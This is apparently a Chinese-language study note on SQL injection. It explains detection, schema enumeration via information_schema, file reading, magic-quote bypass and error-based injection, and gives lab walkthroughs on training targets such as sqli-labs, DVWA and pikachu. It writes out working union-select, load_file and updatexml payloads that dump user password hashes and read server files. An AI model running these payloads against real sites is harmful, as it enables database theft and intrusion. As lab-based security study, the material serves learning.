SQL注入
1、SQL注入的危害
数据库数据泄露、注入获得shell
2、SQL注入原理
可控变量、带入到数据库中查询、变量未存在过滤或过滤不严谨
原理就是网页中用户可以传入一个参数,这个参数和后端代码的sql语句进行拼接,然后将拼接后的sql语句放到数据库中进行数据操作。原本这个参数是为了在数据库中数据操作的一些条件限制,现在我们可以将and 1=2拼接上让这条sql语句失效,然后再拼接上其他的sql语句来查询我们想要的数据。
3、SQL注入判定
www.along.com/id=1 and 1=1
www.along.com/id=1 and 1=2
www.along.com/id=1如果拼接and 1=1显示页面正常,拼接and 1=2页面错误,这种情况就有可能有注入点。原本www.along.com/id=1就是能正常显示页面,然后我们使用and且逻辑运算符和后面再加一个逻辑判断语句。且两真为真,一假则假。通过且这两个语句,就验证可以往上面拼接SQL语句,可以注入了。
4、信息收集
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os()
知识点:
1)、在MYSQL5.0以上版本,mysql有一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过它来获取指定数据库下的表名和列名信息。
2)、数据库中符号:"."代表下一级
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
5、高权限注入和低权限注入
#跨库查询及应用思路
思路:root高权限注入,找到注入点后,查找内置数据库information_schema中schemata表,查看有哪些数据库。找到目标数据库(靠自己判断),从information_schema.tables查找到目标数据库中有哪些表名。再从information_schema.columns查找到目标表中有哪些列名。最后查找出自己想要的数据。练习见下面的实验二
#文件读写操作
load_file():读取函数
into outfile 或 into dumpfile:导出函数
路径获取常见方法:
报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。
魔术引号:magic_quotes_gpc(php高版本取消这个方法了)为on时,会对单引号(')、双引号(")、反斜杠(\)和NULL等字符进行转义,起到一个过滤的作用。可以使用编码或宽字节来绕过。
6、相关防注入
自带防御:魔术引号
内置函数:
自定义关键字:注意考虑到数据库大小写不敏感
WAF安全软件:安全狗、宝塔等
7、数据类型和提交方法
数据类型
数字、字符、搜索、JSON等。我们要根据后端代码和SQL语句来确定我们注入参数的写法,比如数字型在后端代码的SQL拼接的时候不会有',而字符型就有,这时我们在注入时就要注意。如果是字符,那么我们就要在注入参数的后面加上--+或#将后面的sql语句注掉。
提交方法
GET、POST、COOKIE、REQUEST、HTTP头等
GET、POST是两种请求方法,单个接受,其中在URL中提交的一般是GET请求方法。COOKIE英文是曲奇饼,其实就是一个小型文本文件,放在用户端存储,可能存一些用户账号密码等数据用来做用户登录校验,服务端的$_COOKIE方法也可以接受GET、POST。服务端的$_REQUEST方法会全部接受。实际中我们可以测试得知提交方法。实验三演示一下post注入(常见于用户登录)
PHP中的$_SERVER方法可以获取访问者的一些信息,如操作系统、ip等。其他语言也有相类似的方法。我们将数据包抓住,在burpsuite中把相应的数据改成注入语句,如果服务端将这个注入语句获取到并带到数据库中查询,那么我们就可以相关的操作了。
其中SQL语句干扰符号:'、"、%、)、}等,具体看写法,要考虑后端SQL拼接后的闭合情况,保证SQL语句的正确性。因为我们无法得知后端SQL是咋写的,只能多次尝试。
8、数据库注入
1)明确数据库类型和权限
2)明确提交方法,参数类型等
3)明确数据库记录信息系统表
4)依次库、表、列、值注入查询
5)找后台,登录获取shell(可能会失败)
高权限可以文件读取、命令执行、注册表读取等方式来获取shell。
数据库有很多,它们的结构和语法可能都不同,根据实际渗透的数据库来写不同的注入语句。
9、数据库操作方式
数据库主要就是insert、delete、update、select四种操作,每种操作语法结构不同。我们可以根据网站的功能来判断是哪种操作,进而确定注入语句。
10、盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
1)报错回显
floor、updatexml、extractvalue
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
报错盲注具体使用见实验四演示。
2)
3)
参考地址:https://www.jianshu.com/p/bc35f8dd4f7c和https://developer.aliyun.com/article/692723和第十六天报错盲注 (yuque.com)
-------------------------------------------------------------------------------------------------------------------------------------
实验一、墨者学院靶场SQL注入实验
经过判断后有注入
猜解列名数量(字段数),order by x,x为第几列(1,2,3...),就是能用最大列来排序还能正常显示页面,这里使用这个方法猜出来有4列。
报出二战
可以看出来第二列和第三列有回显点,第二列用version()查看数据库版本,第三列用database()查看数据库名
再第二列用user()查看数据库用户,第三列用@@version_compile_os查看操作系统
select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup',找到上面数据库中的表名
找到上面数据库中的列名
显示出用户名和密码
将后面一个密码解密登录,成功拿到了key
-------------------------------------------------------------------------------------------------------------------------------------
实验二、跨站登录
搭建sqli-labs-master和dvwa靶场,利用sqlilabs中的漏洞来获取dvwa的登录账号和密码
http://localhost/sqli-labs-master/Less-2/?id=1%20order%20by%203猜解出有3列
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,3查看出回显第二列和第三列的数据
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata查找出mysql中的所有数据库,可以看到有我们需要的数据库dvwa
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27dvwa%27从information_schema.tables查到数据库dvwa中的所有数据表
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27从information_schema.columns查到表users中的所有列
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(user),group_concat(password)%20from%20dvwa.users从dvwa数据库中的users表中查找到用户名和密码
将admin下面的密码md5解密后输入dvwa的登录界面,成功进入。
*******************************
读取文件http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,load_file(%27d:\\www.txt%27),3读取d盘下的www.txt文件注意这里的文件路径使用\\转义一下。如果文件内弄太大页面显示不出,右键查看网页源码。还有mysql的文件读取默认是关闭的,需要在MySQL的my.ini的[mysqld]下面加上secure_file_priv = ''开启。
-------------------------------------------------------------------------------------------------------------------------------------
实验三、sqllib/less11,post注入,默认已经知道账号密码都为admin
开启靶场,浏览器设置代理,burpsuite打开并设置代理。进入靶场第十一关,输入账号和密码,然后burpsuite抓到对应的数据包。
点击数据包右键点send to repeater,修改提交的参数,先看是否有注入点。
在看有多少列,有两列。
下面注入就不写了,参考实验一二,这个实验主要证明登录验证的过程可能会有SQL注入。
-------------------------------------------------------------------------------------------------------------------------------------
实验四、报错回显
打开pikachu靶场,找SQL注入板块,填写注册信息,再用burpsuite抓到这个数据包。先看一下floor函数在报错注入中的使用。注入点加上语句'or updatexml(1,concat(0x7e,database(),0x7e),0) or'测试,burpsuite中修改页面和返回报错页面如下,可以看到数据库是pikachu。